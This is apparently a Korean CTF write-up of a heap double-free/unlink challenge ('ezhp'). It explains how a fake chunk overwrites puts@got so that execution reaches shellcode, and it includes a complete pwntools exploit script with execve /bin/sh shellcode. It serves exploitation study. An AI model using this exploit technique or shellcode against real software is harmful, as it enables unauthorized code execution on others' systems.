double free bug문제


보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.


커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.

next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.

쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.


1. 1번메뉴 선택, 사이즈 =10

2. 1번메뉴 선택, 사이즈 = 10

3. 1번메뉴 선택, 사이즈 = 100

4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20 

5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공

4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100

5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30

6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit



exploit code

from pwn import *

def add(size):
	r.recvuntil("Please choose an option.\n")	
	r.sendline("1")
	r.recvuntil("Please give me a size.\n")
	r.sendline(str(size))

def change(id, size, data):
	r.sendline("3")
	r.sendline(str(id))
	r.sendline(str(size))
	r.sendline(data)

def leak_chunk(id):
	r.sendline("4")
	r.sendline(str(id))
	r.recvuntil("AAAAAAAAAAAAAAA\n")
	leaked_chunk = u32(r.recv()[:4])
	return leaked_chunk

def remove(id):
	r.sendline("2")
	r.sendline(str(id))

if __name__ == "__main__":
	shellcode = "\xeb\x0c"
	shellcode += "\x90"*30
	shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

	r = process("./ezhp")
	elf = ELF("./ezhp")
	
	puts_got = elf.got['puts']

	add(10)
	add(10)
	add(100)

	payload = "A"*15 
	change(1, 20, payload)

	third_chunk = leak_chunk(1)
	shell_address = third_chunk - 0x6c 
	log.info("shellcode address = {}".format(hex(shell_address)))
	change(2, 100, shellcode)

	payload = "A"*12
	payload += p32(0xffffffff)
	payload += p32(puts_got - 8)
	payload += p32(shell_address)

	change(0, 30, payload)
	remove(1)

	r.interactive()


'CTF' 카테고리의 다른 글

Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01

+ Recent posts